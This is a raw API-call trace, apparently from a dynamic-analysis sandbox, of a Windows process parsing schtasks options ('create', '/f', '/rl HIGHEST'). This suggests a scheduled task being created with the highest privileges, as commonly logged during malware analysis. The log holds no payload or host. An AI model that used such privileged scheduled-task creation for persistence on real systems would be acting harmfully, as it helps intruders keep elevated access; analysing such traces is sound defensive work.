_Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|rl|") returned 4 [0080.183] lstrlenW (lpString="|u|") returned 3 [0080.183] lstrlenW (lpString="|rl|") returned 4 [0080.183] SetLastError (dwErrCode=0x490) [0080.183] lstrlenW (lpString="p") returned 1 [0080.183] lstrlenW (lpString="p") returned 1 [0080.183] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.183] lstrlenW (lpString="rl") returned 2 [0080.183] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.184] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|p|") returned 3 [0080.184] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|rl|") returned 4 [0080.184] lstrlenW (lpString="|p|") returned 3 [0080.184] lstrlenW (lpString="|rl|") returned 4 [0080.184] SetLastError (dwErrCode=0x490) [0080.184] lstrlenW (lpString="ru") returned 2 [0080.184] lstrlenW (lpString="ru") returned 2 [0080.184] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.184] lstrlenW (lpString="rl") returned 2 [0080.184] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.184] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|ru|") returned 4 [0080.184] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|rl|") returned 4 [0080.184] lstrlenW (lpString="|ru|") returned 4 [0080.184] lstrlenW (lpString="|rl|") returned 4 [0080.184] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0080.184] SetLastError (dwErrCode=0x490) [0080.184] lstrlenW (lpString="rp") returned 2 [0080.184] lstrlenW (lpString="rp") returned 2 [0080.184] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.184] lstrlenW (lpString="rl") returned 2 [0080.184] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.184] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|rp|") returned 4 [0080.184] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|rl|") returned 4 [0080.185] lstrlenW (lpString="|rp|") returned 4 [0080.185] lstrlenW (lpString="|rl|") returned 4 [0080.185] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0080.185] SetLastError (dwErrCode=0x490) [0080.185] lstrlenW (lpString="sc") returned 2 [0080.185] lstrlenW (lpString="sc") returned 2 [0080.185] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.185] lstrlenW (lpString="rl") returned 2 [0080.185] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.185] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|sc|") returned 4 [0080.185] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|rl|") returned 4 [0080.185] lstrlenW (lpString="|sc|") returned 4 [0080.185] lstrlenW (lpString="|rl|") returned 4 [0080.185] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0080.185] SetLastError (dwErrCode=0x490) [0080.185] lstrlenW (lpString="mo") returned 2 [0080.185] lstrlenW (lpString="mo") returned 2 [0080.185] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.185] lstrlenW (lpString="rl") returned 2 [0080.185] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.185] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|mo|") returned 4 [0080.185] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|rl|") returned 4 [0080.185] lstrlenW (lpString="|mo|") returned 4 [0080.186] lstrlenW (lpString="|rl|") returned 4 [0080.186] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0080.186] SetLastError (dwErrCode=0x490) [0080.186] lstrlenW (lpString="d") returned 1 [0080.186] lstrlenW (lpString="d") returned 1 [0080.186] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.186] lstrlenW (lpString="rl") returned 2 [0080.186] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.186] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|d|") returned 3 [0080.186] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|rl|") returned 4 [0080.186] lstrlenW (lpString="|d|") returned 3 [0080.186] lstrlenW (lpString="|rl|") returned 4 [0080.186] SetLastError (dwErrCode=0x490) [0080.186] lstrlenW (lpString="m") returned 1 [0080.186] lstrlenW (lpString="m") returned 1 [0080.186] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.186] lstrlenW (lpString="rl") returned 2 [0080.186] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.186] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|m|") returned 3 [0080.186] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|rl|") returned 4 [0080.186] lstrlenW (lpString="|m|") returned 3 [0080.186] lstrlenW (lpString="|rl|") returned 4 [0080.186] SetLastError (dwErrCode=0x490) [0080.186] lstrlenW (lpString="i") returned 1 [0080.187] lstrlenW (lpString="i") returned 1 [0080.187] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.187] lstrlenW (lpString="rl") returned 2 [0080.187] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.187] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|i|") returned 3 [0080.187] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|rl|") returned 4 [0080.187] lstrlenW (lpString="|i|") returned 3 [0080.187] lstrlenW (lpString="|rl|") returned 4 [0080.187] SetLastError (dwErrCode=0x490) [0080.187] lstrlenW (lpString="tn") returned 2 [0080.187] lstrlenW (lpString="tn") returned 2 [0080.187] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.187] lstrlenW (lpString="rl") returned 2 [0080.187] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.187] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|tn|") returned 4 [0080.187] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|rl|") returned 4 [0080.187] lstrlenW (lpString="|tn|") returned 4 [0080.187] lstrlenW (lpString="|rl|") returned 4 [0080.187] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0080.187] SetLastError (dwErrCode=0x490) [0080.187] lstrlenW (lpString="tr") returned 2 [0080.187] lstrlenW (lpString="tr") returned 2 [0080.187] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.187] lstrlenW (lpString="rl") returned 2 [0080.188] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.188] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|tr|") returned 4 [0080.188] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|rl|") returned 4 [0080.188] lstrlenW (lpString="|tr|") returned 4 [0080.188] lstrlenW (lpString="|rl|") returned 4 [0080.188] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0080.188] SetLastError (dwErrCode=0x490) [0080.188] lstrlenW (lpString="st") returned 2 [0080.188] lstrlenW (lpString="st") returned 2 [0080.188] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.188] lstrlenW (lpString="rl") returned 2 [0080.188] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.188] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|st|") returned 4 [0080.188] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|rl|") returned 4 [0080.188] lstrlenW (lpString="|st|") returned 4 [0080.188] lstrlenW (lpString="|rl|") returned 4 [0080.188] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0080.188] SetLastError (dwErrCode=0x490) [0080.188] lstrlenW (lpString="sd") returned 2 [0080.188] lstrlenW (lpString="sd") returned 2 [0080.188] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.188] lstrlenW (lpString="rl") returned 2 [0080.188] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.188] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|sd|") returned 4 [0080.189] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|rl|") returned 4 [0080.189] lstrlenW (lpString="|sd|") returned 4 [0080.189] lstrlenW (lpString="|rl|") returned 4 [0080.189] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0080.189] SetLastError (dwErrCode=0x490) [0080.189] lstrlenW (lpString="ed") returned 2 [0080.189] lstrlenW (lpString="ed") returned 2 [0080.189] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.189] lstrlenW (lpString="rl") returned 2 [0080.189] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.189] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|ed|") returned 4 [0080.189] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|rl|") returned 4 [0080.189] lstrlenW (lpString="|ed|") returned 4 [0080.189] lstrlenW (lpString="|rl|") returned 4 [0080.189] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0080.189] SetLastError (dwErrCode=0x490) [0080.189] lstrlenW (lpString="it") returned 2 [0080.189] lstrlenW (lpString="it") returned 2 [0080.189] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.189] lstrlenW (lpString="rl") returned 2 [0080.189] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.189] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|it|") returned 4 [0080.189] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|rl|") returned 4 [0080.189] lstrlenW (lpString="|it|") returned 4 [0080.189] lstrlenW (lpString="|rl|") returned 4 [0080.190] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0080.190] SetLastError (dwErrCode=0x490) [0080.190] lstrlenW (lpString="et") returned 2 [0080.190] lstrlenW (lpString="et") returned 2 [0080.190] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.190] lstrlenW (lpString="rl") returned 2 [0080.190] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.190] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|et|") returned 4 [0080.190] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|rl|") returned 4 [0080.190] lstrlenW (lpString="|et|") returned 4 [0080.190] lstrlenW (lpString="|rl|") returned 4 [0080.190] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0080.190] SetLastError (dwErrCode=0x490) [0080.190] lstrlenW (lpString="k") returned 1 [0080.190] lstrlenW (lpString="k") returned 1 [0080.190] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.190] lstrlenW (lpString="rl") returned 2 [0080.190] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.190] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|k|") returned 3 [0080.190] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|rl|") returned 4 [0080.190] lstrlenW (lpString="|k|") returned 3 [0080.190] lstrlenW (lpString="|rl|") returned 4 [0080.190] SetLastError (dwErrCode=0x490) [0080.190] lstrlenW (lpString="du") returned 2 [0080.191] lstrlenW (lpString="du") returned 2 [0080.191] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.191] lstrlenW (lpString="rl") returned 2 [0080.191] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.191] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|du|") returned 4 [0080.191] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|rl|") returned 4 [0080.191] lstrlenW (lpString="|du|") returned 4 [0080.191] lstrlenW (lpString="|rl|") returned 4 [0080.191] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0080.191] SetLastError (dwErrCode=0x490) [0080.191] lstrlenW (lpString="ri") returned 2 [0080.191] lstrlenW (lpString="ri") returned 2 [0080.191] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.191] lstrlenW (lpString="rl") returned 2 [0080.191] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.191] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|ri|") returned 4 [0080.191] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|rl|") returned 4 [0080.191] lstrlenW (lpString="|ri|") returned 4 [0080.191] lstrlenW (lpString="|rl|") returned 4 [0080.191] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0080.191] SetLastError (dwErrCode=0x490) [0080.191] lstrlenW (lpString="z") returned 1 [0080.191] lstrlenW (lpString="z") returned 1 [0080.191] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.192] lstrlenW (lpString="rl") returned 2 [0080.192] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.192] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|z|") returned 3 [0080.192] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|rl|") returned 4 [0080.192] lstrlenW (lpString="|z|") returned 3 [0080.192] lstrlenW (lpString="|rl|") returned 4 [0080.192] SetLastError (dwErrCode=0x490) [0080.192] lstrlenW (lpString="f") returned 1 [0080.192] lstrlenW (lpString="f") returned 1 [0080.192] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.192] lstrlenW (lpString="rl") returned 2 [0080.192] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.192] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|f|") returned 3 [0080.192] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|rl|") returned 4 [0080.192] lstrlenW (lpString="|f|") returned 3 [0080.192] lstrlenW (lpString="|rl|") returned 4 [0080.192] SetLastError (dwErrCode=0x490) [0080.192] lstrlenW (lpString="v1") returned 2 [0080.192] lstrlenW (lpString="v1") returned 2 [0080.192] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.192] lstrlenW (lpString="rl") returned 2 [0080.192] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.192] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|v1|") returned 4 [0080.193] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|rl|") returned 4 [0080.193] lstrlenW (lpString="|v1|") returned 4 [0080.193] lstrlenW (lpString="|rl|") returned 4 [0080.193] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0080.193] SetLastError (dwErrCode=0x490) [0080.193] lstrlenW (lpString="xml") returned 3 [0080.193] lstrlenW (lpString="xml") returned 3 [0080.193] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.193] lstrlenW (lpString="rl") returned 2 [0080.193] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.193] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|xml|") returned 5 [0080.193] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|rl|") returned 4 [0080.193] lstrlenW (lpString="|xml|") returned 5 [0080.193] lstrlenW (lpString="|rl|") returned 4 [0080.193] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0080.193] SetLastError (dwErrCode=0x490) [0080.193] lstrlenW (lpString="ec") returned 2 [0080.193] lstrlenW (lpString="ec") returned 2 [0080.193] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.193] lstrlenW (lpString="rl") returned 2 [0080.193] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.193] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|ec|") returned 4 [0080.193] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|rl|") returned 4 [0080.193] lstrlenW (lpString="|ec|") returned 4 [0080.194] lstrlenW (lpString="|rl|") returned 4 [0080.194] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0080.194] SetLastError (dwErrCode=0x490) [0080.194] lstrlenW (lpString="rl") returned 2 [0080.194] lstrlenW (lpString="rl") returned 2 [0080.194] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.194] lstrlenW (lpString="rl") returned 2 [0080.194] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.194] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|rl|") returned 4 [0080.194] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|rl|") returned 4 [0080.194] lstrlenW (lpString="|rl|") returned 4 [0080.194] lstrlenW (lpString="|rl|") returned 4 [0080.194] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0080.194] SetLastError (dwErrCode=0x0) [0080.194] SetLastError (dwErrCode=0x0) [0080.194] lstrlenW (lpString="HIGHEST") returned 7 [0080.194] lstrlenW (lpString="-/") returned 2 [0080.194] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0080.194] SetLastError (dwErrCode=0x490) [0080.194] SetLastError (dwErrCode=0x490) [0080.194] SetLastError (dwErrCode=0x0) [0080.194] lstrlenW (lpString="HIGHEST") returned 7 [0080.194] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0080.194] SetLastError (dwErrCode=0x490) [0080.194] SetLastError (dwErrCode=0x0) [0080.194] _memicmp (_Buf1=0x1ed6a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.195] lstrlenW (lpString="HIGHEST") returned 7 [0080.195] lstrlenW (lpString="HIGHEST") returned 7 [0080.195] lstrlenW (lpString=" \x09") returned 2 [0080.195] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0080.195] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0080.195] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0080.195] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0080.195] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0080.195] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0080.195] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0080.195] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0080.195] GetLastError () returned 0x0 [0080.195] lstrlenW (lpString="HIGHEST") returned 7 [0080.195] lstrlenW (lpString="HIGHEST") returned 7 [0080.195] SetLastError (dwErrCode=0x0) [0080.195] SetLastError (dwErrCode=0x0) [0080.195] lstrlenW (lpString="/f") returned 2 [0080.195] lstrlenW (lpString="-/") returned 2 [0080.195] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0080.195] lstrlenW (lpString="create") returned 6 [0080.195] lstrlenW (lpString="create") returned 6 [0080.195] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.195] lstrlenW (lpString="f") returned 1 [0080.195] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.195] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|create|") returned 8 [0080.195] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|f|") returned 3 [0080.195] lstrlenW (lpString="|create|") returned 8 [0080.195] lstrlenW (lpString="|f|") returned 3 [0080.196] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0080.196] SetLastError (dwErrCode=0x490) [0080.196] lstrlenW (lpString="?") returned 1 [0080.196] lstrlenW (lpString="?") returned 1 [0080.196] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.196] lstrlenW (lpString="f") returned 1 [0080.196] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.196] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|?|") returned 3 [0080.196] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|f|") returned 3 [0080.196] lstrlenW (lpString="|?|") returned 3 [0080.196] lstrlenW (lpString="|f|") returned 3 [0080.196] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0080.196] SetLastError (dwErrCode=0x490) [0080.196] lstrlenW (lpString="s") returned 1 [0080.196] lstrlenW (lpString="s") returned 1 [0080.196] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.196] lstrlenW (lpString="f") returned 1 [0080.196] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.196] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|s|") returned 3 [0080.196] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|f|") returned 3 [0080.196] lstrlenW (lpString="|s|") returned 3 [0080.196] lstrlenW (lpString="|f|") returned 3 [0080.196] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0080.196] SetLastError (dwErrCode=0x490) [0080.196] lstrlenW (lpString="u") returned 1 [0080.196] lstrlenW (lpString="u") returned 1 [0080.197] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.197] lstrlenW (lpString="f") returned 1 [0080.197] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.197] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|u|") returned 3 [0080.197] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|f|") returned 3 [0080.197] lstrlenW (lpString="|u|") returned 3 [0080.197] lstrlenW (lpString="|f|") returned 3 [0080.197] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0080.197] SetLastError (dwErrCode=0x490) [0080.197] lstrlenW (lpString="p") returned 1 [0080.197] lstrlenW (lpString="p") returned 1 [0080.197] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.197] lstrlenW (lpString="f") returned 1 [0080.197] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.197] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|p|") returned 3 [0080.197] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|f|") returned 3 [0080.197] lstrlenW (lpString="|p|") returned 3 [0080.197] lstrlenW (lpString="|f|") returned 3 [0080.197] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0080.197] SetLastError (dwErrCode=0x490) [0080.197] lstrlenW (lpString="ru") returned 2 [0080.197] lstrlenW (lpString="ru") returned 2 [0080.197] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.197] lstrlenW (lpString="f") returned 1 [0080.197] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.197] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|ru|") returned 4 [0080.198] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|f|") returned 3 [0080.198] lstrlenW (lpString="|ru|") returned 4 [0080.198] lstrlenW (lpString="|f|") returned 3 [0080.198] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0080.198] SetLastError (dwErrCode=0x490) [0080.198] lstrlenW (lpString="rp") returned 2 [0080.198] lstrlenW (lpString="rp") returned 2 [0080.198] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.198] lstrlenW (lpString="f") returned 1 [0080.198] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.198] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|rp|") returned 4 [0080.198] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|f|") returned 3 [0080.198] lstrlenW (lpString="|rp|") returned 4 [0080.198] lstrlenW (lpString="|f|") returned 3 [0080.198] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0080.198] SetLastError (dwErrCode=0x490) [0080.198] lstrlenW (lpString="sc") returned 2 [0080.198] lstrlenW (lpString="sc") returned 2 [0080.198] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 